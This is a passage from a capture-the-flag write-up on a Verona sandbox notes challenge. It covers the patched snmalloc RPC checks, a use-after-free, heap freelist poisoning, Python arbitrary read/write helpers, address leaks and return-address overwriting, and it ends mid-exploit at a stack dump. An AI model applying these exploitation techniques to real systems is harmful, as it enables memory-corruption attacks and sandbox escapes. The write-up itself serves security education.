handler path. Here is the original code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
auto is_metaentry_valid = // [!] removed in the patch
[&](size_t size, SharedAllocConfig::Pagemap::Entry& metaentry) {
auto sizeclass = metaentry.get_sizeclass();
auto remote = metaentry.get_remote();
return ((remote == nullptr) ||
s->contains(remote, sizeof(snmalloc::RemoteAllocator))) &&
(snmalloc::sizeclass_full_to_size(sizeclass) <= size);
};
switch (rpc.kind)
{
case AllocChunk:
{
auto size = static_cast<size_t>(rpc.args[0]);
if (
(size < snmalloc::MIN_CHUNK_SIZE) ||
!snmalloc::bits::is_pow2(size))
{
reply.error = 3;
break;
}
auto meta =
reinterpret_cast<SharedAllocConfig::Backend::SlabMetadata*>(
rpc.args[1]);
auto ras = rpc.args[2];
// `meta` refers to the pointer to the slab metadata. This field in
// the `Entry` is dereferenced outside of the sandbox only in the
// case where the remote is not the single remote of the allocator
// associated with this sandbox for use on the outside.
SharedAllocConfig::Pagemap::Entry metaentry{meta, ras};
if (!is_metaentry_valid(size, metaentry)) // [!] removed in patch
{
reply.error = 1;
break;
}
snmalloc::capptr::Arena<void> alloc;
{
auto [g, m] = s->get_memory();
alloc = m.alloc_range(size);
}
if (alloc == nullptr)
{
reply.error = 2;
break;
}
metaentry.claim_for_sandbox(); // [!] removed in patch
SharedAllocConfig::Pagemap::set_metaentry(
address_cast(alloc), size, metaentry);
reply.ret = alloc.unsafe_uintptr();
break;
}
When the child sends a AllocChunk
request, it sends three parameters: size
, meta
and ras
. The handler accesses these parameters with rpc.args[i]
. The requested chunk allocation size is stored in size
while the other two parameters form a metaentry. Metaentries are records of allocation metadata that are stored in the pagemap. These entries contain metadata that enables the snmalloc
allocator to track allocations and deallocations across threads/processes. What exactly this metadata encodes is largely beyond the scope of this write-up, but I will touch on the relevant parts as they come up.
The patches removes the check on the metaentry’s validity and also stops the sandbox from claiming ownership on the metaentry. This means that the child can send allocation requests with arbitrary metaentries and register them in the pagemap. This registration happens with SharedAllocConfig::Pagemap::set_metaentry()
at the end of the handler.
1
2
3
4
5
6
7
8
9
static void set_metaentry(snmalloc::address_t p, size_t size, const Entry& t)
{
auto [g, pm] = get_pagemap_writeable();
for (snmalloc::address_t a = p; a < p + size;
a += snmalloc::MIN_CHUNK_SIZE)
{
pm.set(a, t);
}
}
Pagemap::set_metaentry
is defined in sandbox.h. This function registers the metaentry with every page the allocated chunk overlaps with.
Helpfully, we find the following comment in the source code explaining this function:
1
2
3
4
5
/**
* Sets metadata in the shared pagemap. This assumes callers are trusted
* and does not validate the metadata. This is called only by the trusted
* allocator, the RPC thread updating the pagemap on behalf of a child
* will write to the pagemap directly.
This function assumes that the caller is trusted and that the metadata has already been validated. Patching out the validation checks in the RPC thread is a clear violation of the security model so we can likely exploit this. (This is important for later!)
The next patch is on the DeallocChunk
handler path, removing almost all the checks. For clarity, I have presented the original code with the patch’s removals applied as comments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case DeallocChunk:
{
auto ptr = snmalloc::capptr::Arena<void>::unsafe_from(
reinterpret_cast<void*>(rpc.args[0]));
size_t size = static_cast<size_t>(rpc.args[1]);
if (!s->contains(ptr.unsafe_ptr(), size))
{
reply.error = 1;
break;
}
// // The size must be a power of two, larger than the chunk size
// if (!(snmalloc::bits::is_pow2(size) &&
// (size >= snmalloc::MIN_CHUNK_SIZE)))
// {
// reply.error = 2;
// break;
// }
// // The base must be chunk-aligned
// if (
// snmalloc::pointer_align_down(
// ptr.unsafe_ptr(), snmalloc::MIN_CHUNK_SIZE) != ptr.unsafe_ptr())
// {
// reply.error = 3;
// break;
// }
// auto address = snmalloc::address_cast(ptr);
// for (size_t chunk_offset = 0; chunk_offset < size;
// chunk_offset += snmalloc::MIN_CHUNK_SIZE)
// {
// auto& meta = SharedAllocConfig::Pagemap::get_metaentry_mut(
// address + chunk_offset);
// if (!meta.is_sandbox_owned())
// {
// reply.error = 4;
// break;
// }
// }
if (reply.error == 0)
{
SharedAllocConfig::Backend::dealloc_range(*s, ptr, size);
}
break;
This RPC calls takes two parameters: ptr
, the chunk to deallocate, and size
, the chunk’s size. With the patch, the handler only checks that ptr
lies within the sandboxed (shared) heap before deallocating it with SharedAllocConfig::Backend::dealloc_range()
. That function deallocates the chunk and creates a new metaentry that ties ownership of the freed chunk to the backend:
1
2
3
4
5
6
7
8
9
10
11
12
static void dealloc_range(
LocalState& local_state,
snmalloc::capptr::Arena<void> base,
size_t size)
{
Pagemap::Entry t;
t.claim_for_backend();
Pagemap::set_metaentry(base.unsafe_uintptr(), size, t);
auto [g, m] = local_state.get_memory();
m.dealloc_range(base, size);
}
There are other patches in libsandbox.cc
but I will only cover this critical patch:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@@ -773,15 +734,14 @@ namespace sandbox
if (!meta.is_backend_owned())
{
auto* remote = meta.get_remote();
- if (!meta.is_sandbox_owned() && (remote != nullptr))
+ if (
+ (remote != nullptr) &&
+ !contains(remote, sizeof(snmalloc::RemoteAllocator)))
{
delete meta.get_slab_metadata();
}
}
meta = empty;
- SANDBOX_DEBUG_INVARIANT(
- !meta.is_sandbox_owned(),
- "Unused pagemap entry must not be sandbox owned");
}
}
shared_mem->destroy();
This patch is applied on Library::~Library()
. The Library
class is used by the parent chall
to instantiate a child sandbox. Its constructor sets up the shared heap, which is cleaned up by the destructor. The destructor iterates through all pagemap entries and deallocates all metaentries that are not currently owned by the backend or a sandbox. The patch changes the check’s condition, instead checking that the remote is not part of the library’s underlying memory provider (that backs the shared heap).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Library::~Library()
{
wait_for_child_exit();
{
auto [g, pm] = SharedAllocConfig::Pagemap::get_pagemap_writeable();
snmalloc::address_t base =
snmalloc::address_cast(memory_provider.base_address());
auto top = snmalloc::address_cast(memory_provider.top_address());
SharedAllocConfig::Pagemap::Entry empty{nullptr, 0};
// Scan the pagemap for all memory associated with this and deallocate
// the metaslabs. Note that we don't need to do any cleanup for the
// memory referenced by these metaslabs: it will all go away when the
// shared memory region is deallocated.
for (snmalloc::address_t a = base; a < top; a += snmalloc::MIN_CHUNK_SIZE)
{
auto& meta = SharedAllocConfig::Pagemap::get_metaentry_mut(a);
if (!meta.is_backend_owned())
{
auto* remote = meta.get_remote();
if (!meta.is_sandbox_owned() && (remote != nullptr))
{
delete meta.get_slab_metadata();
}
}
meta = empty;
SANDBOX_DEBUG_INVARIANT(
!meta.is_sandbox_owned(),
"Unused pagemap entry must not be sandbox owned");
}
}
shared_mem->destroy();
}
The rest of the patches increase the security of the sandbox. One patch enables ASLR within the sandboxed child. The other patches impose further seccomp
restrictions on the child; by default, the Verona sandbox already has a comprehensive set of seccomp
rules preventing the child from breaking the security model (including preventing the accessing of arbitrary files).
Next, let’s look at the challenge source in chall.cpp
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include "process_sandbox/cxxsandbox.h"
#include "process_sandbox/sandbox.h"
#include <limits.h>
#include <stdio.h>
using namespace sandbox;
bool new_note();
bool edit_note();
bool free_note();
bool view_note();
/**
* The structure that represents an instance of the sandbox.
*/
struct ChallSandbox
{
/**
* The library that defines the functions exposed by this sandbox.
*/
Library lib = {"../build/sandboxedlib.so"};
#define EXPORTED_FUNCTION(public_name, private_name) \
decltype(make_sandboxed_function<decltype(private_name)>(lib)) public_name = \
make_sandboxed_function<decltype(private_name)>(lib);
EXPORTED_FUNCTION(new_note, ::new_note)
EXPORTED_FUNCTION(edit_note, ::edit_note)
EXPORTED_FUNCTION(free_note, ::free_note)
EXPORTED_FUNCTION(view_note, ::view_note)
};
void menu() {
printf(
"Notes app\n" \
"1. New note\n" \
"2. Delete note\n" \
"3. Edit note\n" \
"4. View note\n" \
"5. Provide feedback\n" \
"6. Review feedback\n"
"7. Exit\n" \
);
}
int get_option() {
int opt = 0;
printf("> ");
if (scanf("%d", &opt) != 1) { return -1; }
return opt;
}
void init_stuff() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
struct feedback {
char *ptr;
size_t size;
char content[460];
};
struct feedback *the_feedback = NULL;
bool get_feedback() {
if (the_feedback == NULL) {
if ((the_feedback = (struct feedback *)malloc(sizeof(struct feedback))) == NULL) {
printf("Out of memory.\n");
return false;
}
the_feedback->ptr = (char *)&the_feedback->content;
the_feedback->size = sizeof(the_feedback->content);
}
printf("Thank you for using this app!\n");
printf("Please provide your feedback: ");
read(0, the_feedback->ptr, the_feedback->size);
return true;
}
bool view_feedback() {
if (the_feedback == NULL) {
printf("No feedback.\n");
return false;
}
printf("Your feedback: ");
write(1, the_feedback->ptr, the_feedback->size);
return true;
}
void sandboxed_session()
{
ChallSandbox sandbox;
bool end = false;
bool result = true;
while (!end) {
menu();
switch (get_option()) {
case 1:
result = sandbox.new_note();
break;
case 2:
result = sandbox.free_note();
break;
case 3:
result = sandbox.edit_note();
break;
case 4:
result = sandbox.view_note();
break;
case 5:
result = get_feedback();
break;
case 6:
result = view_feedback();
break;
default:
puts("Invalid input, exiting...");
end = true;
break;
}
if (!end) {
if (result) { printf("Operation success.\n"); }
else { printf("Operation failed.\n"); }
}
}
// here sandbox will be destroyed
}
int main()
{
init_stuff();
do {
sandboxed_session();
printf("1. Start a new clean session\n2. Definitively exit\n");
} while (get_option() == 1);
return 0;
}
The challenge is a typical notes app. Most of its features are implemented within the sandbox sandboxedlib.so
. Only the get_feedback()
and view_feedback()
functions are implemented in the parent. When the user chooses other options, the parent performs an external call into the sandbox. The challenge also supports repeated creation of the sandbox.
Due to the seccomp
rules, we can only read the flag from the parent even we can gain RCE in the child process. However, there are no vulnerabilities in the parent. Both the get_feedback()
and view_feedback()
functions are safe (other than a possible leak from the write()
in view_feedback()
). Nonetheless, the function pointer and size parameter in the feedback
struct are an attractive target for exploitation subsequently.
Let’s take a look at the untrusted library sandboxedlib.cpp
imported by the child. The binary includes the functions sendRequest
, try_dealloc
and try_alloc
but does not use them. The only vulnerability in the exposed functions is a trivial use-after-free: freeing a note in free_note()
does not zero out the note pointer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include "../src/host_service_calls.h"
#include "process_sandbox/cxxsandbox.h"
#include "process_sandbox/sandbox.h"
#include "process_sandbox/shared_memory_region.h"
#include <limits>
#include <stdio.h>
using namespace sandbox;
using namespace snmalloc;
HostServiceResponse sendRequest(HostServiceRequest req)
{
auto written_bytes = write(PageMapUpdates, &req, sizeof(req));
HostServiceResponse response;
auto read_bytes = read(PageMapUpdates, &response, sizeof(response));
UNUSED(written_bytes);
UNUSED(read_bytes);
return response;
}
uintptr_t try_dealloc(const void* addr, size_t size)
{
HostServiceRequest req{
DeallocChunk,
{reinterpret_cast<uintptr_t>(addr), static_cast<uintptr_t>(size), 0, 0}};
return sendRequest(req).error;
}
HostServiceResponse try_alloc(size_t size, uintptr_t meta, uintptr_t ras)
{
return sendRequest({AllocChunk, {size, meta, ras}});
}
#define NOTES_MAX 10
struct note {
size_t size;
void (*printfn)(struct note *);
char *contents;
};
struct note *notes[NOTES_MAX] = { 0 };
static bool get_idx(unsigned int *idx_ptr) {
printf("Enter index of note: ");
if (scanf("%u", idx_ptr) != 1) { return false; }
if (*idx_ptr >= NOTES_MAX) { return false; }
return true;
}
static void print_note(struct note *n) {
write(1, n->contents, n->size);
printf("\n");
}
static bool new_note() {
unsigned int idx = 0;
size_t size = 0;
bool ok = get_idx(&idx);
if (!ok) { return false; }
printf("Enter size of note: ");
if (scanf("%lu", &size) != 1) { return false; }
if (size > 0x100) { return false; }
if ((notes[idx] = (struct note *)malloc(sizeof(struct note))) == NULL) {
return false;
}
if ((notes[idx]->contents = (char *)malloc(size)) == NULL) {
return false;
}
notes[idx]->size = size;
notes[idx]->printfn = print_note;
printf("Enter note content: ");
if (read(0, notes[idx]->contents, size) < 0) { return false; }
return true;
}
static bool free_note() {
unsigned int idx = 0;
bool ok = get_idx(&idx);
if (!ok) { return false; }
if (notes[idx] == NULL) { return false; }
else {
free(notes[idx]->contents);
free(notes[idx]);
}
return true;
}
static bool edit_note() {
unsigned int idx = 0;
bool ok = get_idx(&idx);
if (!ok) { return false; }
if (notes[idx] == NULL) { return false; }
else {
printf("Enter note content: ");
if (read(0, notes[idx]->contents, notes[idx]->size) < 0) { return false; }
return true;
}
}
static bool view_note() {
unsigned int idx = 0;
bool ok = get_idx(&idx);
if (!ok) { return false; }
if (notes[idx] == NULL) { return false; }
else {
notes[idx]->printfn(notes[idx]);
return true;
}
}
void init_stuff() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
extern "C" void sandbox_init()
{
init_stuff();
sandbox::ExportedLibrary::export_function(::new_note);
sandbox::ExportedLibrary::export_function(::edit_note);
sandbox::ExportedLibrary::export_function(::free_note);
sandbox::ExportedLibrary::export_function(::view_note);
}
At this point, we can guess that our attack strategy will look like this: exploit the UAF to gain RCE in the child, use the RCE to exploit the vulnerable patches and escape the sandbox, attack the parent and gain RCE (to read the flag). The write-up will be subsequently divided into these 3 sections.
It is useful to think about this challenge in terms of the security model. Given that the sandbox’s threat model already assumes the attacker has RCE within the sandbox, we cannot break the sandbox’s security model unless we find a 0-day in the library or the patch introduces new exploitable vulnerabilities.
Typical heap exploits will not work out of the box since we are using a custom allocator, snmalloc
. However, the general concepts still apply. I will discuss two exploits. The first exploit works on newer kernel versions (like my machine) but fails on older kernels (like the one used on remote).
This first exploit abuses the snmalloc
free list behaviour. Let’s first set up GDB so that we can analyze the allocations. This is tricky since the sandbox environment is highly sensitive. Triggering a break in the execution of either the parent or child with CTRL + C
in GDB will cause a premature termination of the program. From pwntools, I used the following GDB script to break in the malloc()
calls used in new_note()
.
1
2
3
4
5
6
7
8
9
10
11
12
handle SIGSYS nostop
set follow-fork-mode child
b *(main+0x29f)
commands 1
# CALL malloc note
b *(new_note+0xb0)
# CALL malloc contents
b *(new_note+0xfd)
end
c
The first command stops GDB from breaking on the SIGSYS signal. Because of the sandbox architecture, many syscalls are hooked and have stricter replacements. Regular usage of these syscalls (originating from the linker/libc) may result in SIGSYS. Breaking on these signals increases the amount of noise and we aren’t interested in them anyway.
The second command configures GDB to debug the child process instead of the parent. By default, GDB will remain attached to the parent chall
, which we do not want.
The next breakpoint is right before the child enters its main run loop. Recall that the child is the library_runner
binary. This breakpoint corresponds to this point in the source (see comment):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[...]
// Set up the sandbox
sandbox_init();
sandbox_invoke =
reinterpret_cast<decltype(sandbox_invoke)>(dlfunc(handle, "sandbox_call"));
SANDBOX_INVARIANT(
sandbox_invoke, "Sandbox invoke invoke function not found {}", dlerror());
shared->token.is_child_executing = false;
shared->token.is_child_loaded = true;
static constexpr size_t stack_size = 8 * 1024 * 1024;
void* stack = malloc(stack_size);
// Enter the run loop, waiting for calls from trusted code.
// We do this in a new thread so that our stack can be in the shared region.
// This avoids the need to copy arguments from the stack to the heap.
// [!] Breakpoint here!
runloop_with_stack_pivot(stack, stack_size);
return 0;
}
At this stage of the child bootstrapping, it would have already set up the environment but not entered the run loop where it awaits calls from the parent. So, we can break at this point without interrupting the parent-child communication channel, which would otherwise cause the premature termination as mentioned above. The child would also have loaded the vulnerable library sandboxedlib.so
before this point, so we can create breakpoints referencing its signals. The GDB script creates one breakpoint prior to each of these two malloc()
calls in new_note()
:
1
2
3
4
5
6
7
8
[...]
if ((notes[idx] = (struct note *)malloc(sizeof(struct note))) == NULL) {
return false;
}
if ((notes[idx]->contents = (char *)malloc(size)) == NULL) {
return false;
}
[...]
When we create a note of size 0x50
, there is a prior allocation of 0x18
for the note
struct. We can see the backtrace for this malloc()
call below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
──────────────────────────────────────────────────────── arguments (guessed) ────
malloc@plt (
$rdi = 0x0000000000000018,
$rsi = 0x000000000000000a,
$rdx = 0x0000000000000000,
$rcx = 0x0000000000000010
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "library_runner", stopped 0x7ffff79f69ac in new_note() (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0]0x7ffff79f69ac _ new_note()()
[#1] 0x7ffff79f8fda _ bool std::__invoke_impl<bool, bool (*&)()>(std::__invoke_other, bool (*&)())()
[#2] 0x7ffff79f8f4b _ std::__invoke_result<bool (*&)()>::type std::__invoke<bool (*&)()>(bool (*&)())()
[#3] 0x7ffff79f8d5b _ decltype(auto) std::__apply_impl<bool (*&)(), std::tuple<>&>(bool (*&)(), std::tuple<>&, std::integer_sequence<unsigned long>)()
[#4] 0x7ffff79f8d98 _ decltype(auto) std::apply<bool (*&)(), std::tuple<>&>(bool (*&)(), std::tuple<>&)()
[#5] 0x7ffff79f8e04 _ sandbox::ExportedFunction<bool>::operator()(void*)()
[#6] 0x7ffff79f708d _ sandbox::ExportedLibrary::call(int, void*)()
[#7] 0x7ffff79f66bd _ sandbox_call()
[#8] 0x555555583e19 _ (anonymous namespace)::runloop(int)()
[#9] 0x5555555850cc _ runloop_with_stack_pivot()
The first note
struct is allocated at 0x7fff80010a40
, with its contents (of size 0x50
) allocated at 0x7fff800140a0
. After the allocation but before the program writes to the allocated memory, this is what the note
struct chunk looks like in the shared heap:
1
2
3
4
5
6
7
gef_ x/12gx 0x7fff80010a40 # this is allocated for the `note` struct
0x7fff80010a40: 0x00007fff80010a60 0x0000000000000000
0x7fff80010a50: 0x0000000000000000 0x0000000000000000
0x7fff80010a60: 0x00007fff80010a80 0x0000000000000000
0x7fff80010a70: 0x0000000000000000 0x0000000000000000
0x7fff80010a80: 0x00007fff80010aa0 0x0000000000000000
0x7fff80010a90: 0x0000000000000000 0x0000000000000000
snmalloc
maintains a freelist of all its free chunks. The first QWORD of each free chunk contains a pointer to the next free chunk. A free chunk of size 0x20
is used to service the malloc(0x18)
request earlier. Hence, the chunks in the freelist are all 0x20
apart in memory. Although 0x7fff80010a40
has just been allocated, the program has not written to the chunk yet so the freelist pointer remains intact. We will use this to get a heap leak later.
1
2
3
4
gef_ vmmap 0x7fff80010a40
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007fff80000000 0x00007fffc0000000 0x0000000000000000 rw- /memfd:Verona Sandbox (deleted)
To better illustrate the freelist mechanism, let’s create 2 notes each of size 0x50
then free them. We’ll create the first note with content "AAAAAAAA"
and the second with "BBBBBBBB"
. From the GDB breakpoints, we find that the allocations are:
1
2
3
4
5
note 1 (sz 0x18): 0x7fff80010a40
contents 1 (sz 0x50): 0x7fff800140a0
note 2 (sz 0x18): 0x7fff80010a60
contents 2 (sz 0x50): 0x7fff800140f0
As expected, we find that the note
struct allocations are 0x20
apart, while the note buffers are 0x50
apart. Now, let’s delete the first note. This free
s both the struct and its buffer. This is the buffer after being freed:
1
2
3
4
5
6
gef_ x/10gx 0x7fff800140a0
0x7fff800140a0: 0x4141414141414141 0x0000000000000000
0x7fff800140b0: 0x0000000000000000 0x0000000000000000
0x7fff800140c0: 0x0000000000000000 0x0000000000000000
0x7fff800140d0: 0x0000000000000000 0x0000000000000000
0x7fff800140e0: 0x0000000000000000 0x0000000000000000
Its contents "AAAAAAAA"
are untouched by the allocator. Let’s delete the second note and check again:
1
2
3
4
5
6
gef_ x/10gx 0x7fff800140a0
0x7fff800140a0: 0x00007fff800140f0 0x0000000000000000
0x7fff800140b0: 0x0000000000000000 0x0000000000000000
0x7fff800140c0: 0x0000000000000000 0x0000000000000000
0x7fff800140d0: 0x0000000000000000 0x0000000000000000
0x7fff800140e0: 0x0000000000000000 0x0000000000000000
We see that the first QWORD has now been updated to point to the second freed chunk, creating a new freelist. Recall that we have a UAF on freed notes in which we can edit and view them. Notice also that the freelist pointer overlaps with the size
property of the note
struct:
1
2
3
4
5
struct note {
size_t size;
void (*printfn)(struct note *);
char *contents;
};
This means that we can abuse the freelist mechanism together with the UAF to trick the program into thinking that the note
has an extremely large size
. This gives us a OOB read and write on the shared heap chunk. We have established that snmalloc
services allocations based on the freelist. Given that this primitive allows us to read and write almost anything in the shared heap, we can easily overwrite the freelist and force snmalloc
to allocate us arbitrary chunks. We can force the allocation of a buffer over an existing note
struct, allowing us to overwrite its properties. Overwriting the contents
pointer will give us arbitrary read/write, while overwriting printfn
will give us an arbitrary function call.
1
2
3
4
5
6
7
8
9
10
static bool view_note() {
unsigned int idx = 0;
bool ok = get_idx(&idx);
if (!ok) { return false; }
if (notes[idx] == NULL) { return false; }
else {
notes[idx]->printfn(notes[idx]);
return true;
}
}
This Python script overlaps note[3]->contents
with note[2]
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sz = 0x50
new_note(0, sz, b"B") # 0x7fff80010a40, 0x7fff800140a0
leak = view_note(0)
heap_leak = u64(leak[:8]) // 0x100 * 0x100
log.info(f"shared heap leak: {hex(heap_leak)}") # 0x7fff80014000
new_note(1, sz, b"C") # 0x7fff80010a60, 0x7fff800140f0
delete_note(0)
delete_note(1)
# note[0]->sz = 0x7fff80010a60
# Use heap-fu on the heap leak to calculate addresses
target = heap_leak - (0x7fff800140a0 // 0x100 * 0x100) + 0x7fff80010a80
# Overwrite the freelist pointer with target
payload = b"A"*0x50 + b"B"*0x50 + p64(target) # 0x00007fff80014190
edit_note(0, payload)
new_note(2, sz, b"D") # 0x7fff80010a80, 0x7fff80014140
# Trigger the allocation to target
new_note(3, sz, b"\x50") # 0x7fff80010aa0, <target>
# note[3]->contents = note[2]
Viewing note[3]
will print the contents of the note[2]
struct, including the printfn
function pointer. This gives us a leak to the base address of the shared library.
1
2
3
4
5
6
7
8
child = ELF("/app/build/sandboxedlib.so", checksec=False)
leak = view_note(3)
elf_leak = u64(leak[8:][:8])
child_offset_print_note = 0x00000000000a8c3
child.address = elf_leak - child_offset_print_note
log.info(f"child base: {hex(child.address)}")
assert child.address % 0x1000 == 0
We define two helper functions arb_read()
and arb_write()
, using the former to get a libc leak by reading the shared library’s GOT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def arb_read(target: int, sz: int) -> bytes:
log.info(f"Doing arb read on {hex(target)}, {hex(sz)} bytes.")
payload = p64(sz) + p64(child.address + child_offset_print_note) + p64(target)
edit_note(3, payload)
return view_note(2)
def arb_write(target: int, sz: int, contents: bytes):
log.info(f"Doing arb write on {hex(target)}, {hex(sz)} bytes.")
payload = p64(sz) + p64(child.address + child_offset_print_note) + p64(target)
edit_note(3, payload)
edit_note(2, contents)
# setvbuf GOT
libc_leak = u64(arb_read(child.address + 0x13020, 0x8).strip())
child_libc = ELF("./libc.so.6", checksec=False)
child_libc.address = libc_leak - child_libc.sym["setvbuf"]
log.info(f"child libc: {hex(child_libc.address)}")
With our primitives, we can go on to leak the child’s base address as well as the stack address (from __environ
). However, neither will be useful for our exploit. The library_runner
actually performs a stack pivot before entering its main loop. While we can craft a ROP on the original stack, the child would only return to the original stack after exiting the main loop and ceases communication with its parent. This prevents us from performing a sandbox escape.
Instead, it is more useful to leak the address of the pivoted stack and perform ROP there. Luckily, the pivoted stack actually resides in the same memory segment as our heap leak so we can already calculate its address. The exact address can be found by setting appropriate breakpoints. Since our arbitrary write primitive already uses the edit_note()
function, I thought to use the arbitrary write to overwrite the return address of the edit_note()
function with a ROP chain, gaining RCE.
1
2
3
edit_note_ret_addr = heap_leak - 0x7fff80014000 + 0x00007fff807ffe08
payload = p64(0xdeadbeef)
arb_write(edit_note_ret_addr, len(payload) + 8, payload, False)
This triggers a SIGSEGV with rip = 0xdeadbeef
. Nice!
Another important thing to note is that the sandbox is extremely sensitive to interruptions. When the parent calls the sandbox function edit_note()
, it will keep polling the child until it receives a response. If the child does not send a response within a certain amount of time, the parent will terminate the sandbox. The readme’s Calling sandbox functions section explains this behaviour in greater depth. Empirically, if we perform a normal ROP chain that exits without responding to the parent, the error "Sandboxed library terminated abnormally"
will be thrown as the parent detects that the child has exited unexpectedly.
Let’s look at the callstack:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
gef_ tele $rsp-0x8 -l 32
0x00007fff807ffe08│+0x0000: 0x00000000deadbeef _ $rsi
0x00007fff807ffe10│+0x0008: 0x0000000000000000 _ $rsp
0x00007fff807ffe18│+0x0010: 0x00007fff8000c0d8 _ 0x00007ffff79f6b5e _ <edit_note()+0000> endbr64
0x00007fff807ffe20│+0x0018: 0x00007fff807ffe40 _ 0x00007fff807ffe60 _ 0x00007fff807ffe90 _ 0x00007fff807ffec0 _ 0x00007fff807ffee0 _ 0x00007fff807fff00 _ 0x00007fff807fffe0 _ $rbp
0x00007fff807ffe28│+0x0020: 0x00007ffff79f8f4b _ <std::__invoke_result<bool (*&)()>::type std::__invoke<bool (*&)()>(bool (*&)())+0024> leave
0x00007fff807ffe30│+0x0028: 0x0000000100000001
0x00007fff807ffe38│+0x0030: 0x00007fff8000c0d8 _ 0x00007ffff79f6b5e _ <edit_note()+0000> endbr64
0x00007fff807ffe40│+0x0038: 0x00007fff807ffe60 _ 0x00007fff807ffe90 _ 0x00007fff807ffec0 _ 0x00007fff807ffee0 _ 0x00007fff807fff00 _ 0x00007fff807fffe0 _ 0x00007fffffffece0
0x00007fff807ffe48│+0x0040: 0x00007ffff79f8d5b _ <decltype(auto) std::__apply_impl<bool (*&)(), std::tuple<>&>(bool (*&)(), std::tuple<>&, std::integer_sequence<unsigned long>)+0028> leave
0x00007fff807ffe50│+0x0048: 0x00007fff80004111 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffe58│+0x0050: 0x00007fff8000c0d8 _ 0x00007ffff79f6b5e _ <edit_note()+0000> endbr64
0x00007fff807ffe60│+0x0058: 0x00007fff807ffe90 _ 0x00007fff807ffec0 _ 0x00007fff807ffee0 _ 0x00007fff807fff00 _ 0x00007fff807fffe0 _ 0x00007fffffffece0 _ 0x0000000000000001
0x00007fff807ffe68│+0x0060: 0x00007ffff79f8d98 _ <decltype(auto) std::apply<bool (*&)(), std::tuple<>&>(bool (*&)(), std::tuple<>&)+003b> mov rbx, QWORD PTR [rbp-0x8]
0x00007fff807ffe70│+0x0068: 0x00007fff80004111 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffe78│+0x0070: 0x00007fff8000c0d8 _ 0x00007ffff79f6b5e _ <edit_note()+0000> endbr64
0x00007fff807ffe80│+0x0078: 0x00007fff807ffea0 _ 0x00007fff80004110 _ 0x00007fff80004100 _ 0x00007fff80004101 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffe88│+0x0080: 0x00007fffffffeba8 _ 0x000055555558539c _ <main+02a4> mov eax, 0x0
0x00007fff807ffe90│+0x0088: 0x00007fff807ffec0 _ 0x00007fff807ffee0 _ 0x00007fff807fff00 _ 0x00007fff807fffe0 _ 0x00007fffffffece0 _ 0x0000000000000001
0x00007fff807ffe98│+0x0090: 0x00007ffff79f8e04 _ <sandbox::ExportedFunction<bool>::operator()(void*)+0066> mov rdx, QWORD PTR [rbp-0x8]
0x00007fff807ffea0│+0x0098: 0x00007fff80004110 _ 0x00007fff80004100 _ 0x00007fff80004101 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffeb0│+0x00a8: 0x0000000000000002
0x00007fff807ffeb8│+0x00b0: 0x00007fff80004110 _ 0x00007fff80004100 _ 0x00007fff80004101 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffec0│+0x00b8: 0x00007fff807ffee0 _ 0x00007fff807fff00 _ 0x00007fff807fffe0 _ 0x00007fffffffece0 _ 0x0000000000000001
0x00007fff807ffec8│+0x00c0: 0x00007ffff79f708d _ <sandbox::ExportedLibrary::call(int, void*)+0044> nop
0x00007fff807ffed0│+0x00c8: 0x00007fff80004110 _ 0x00007fff80004100 _ 0x00007fff80004101 _ 0x0000007fff800041 ("A"?)
0x00007fff807ffed8│+0x00d0: 0x0000000255588a7e
0x00007fff807ffee0│+0x00d8: 0x00007fff807fff00 _ 0x00007fff807fffe0 _ 0x00007fffffffece0 _ 0x0000000000000001
0x00007fff807ffee8│+0x00e0: 0x00007ffff79f66bd _ <sandbox_call+0024> nop
0x00007fff807ffef0│+0x00e8: 0x00007fff80004110 _ 0x00007fff80004100 _ 0x00007fff80004101 _ 0x0000007fff800041 ("A"?)
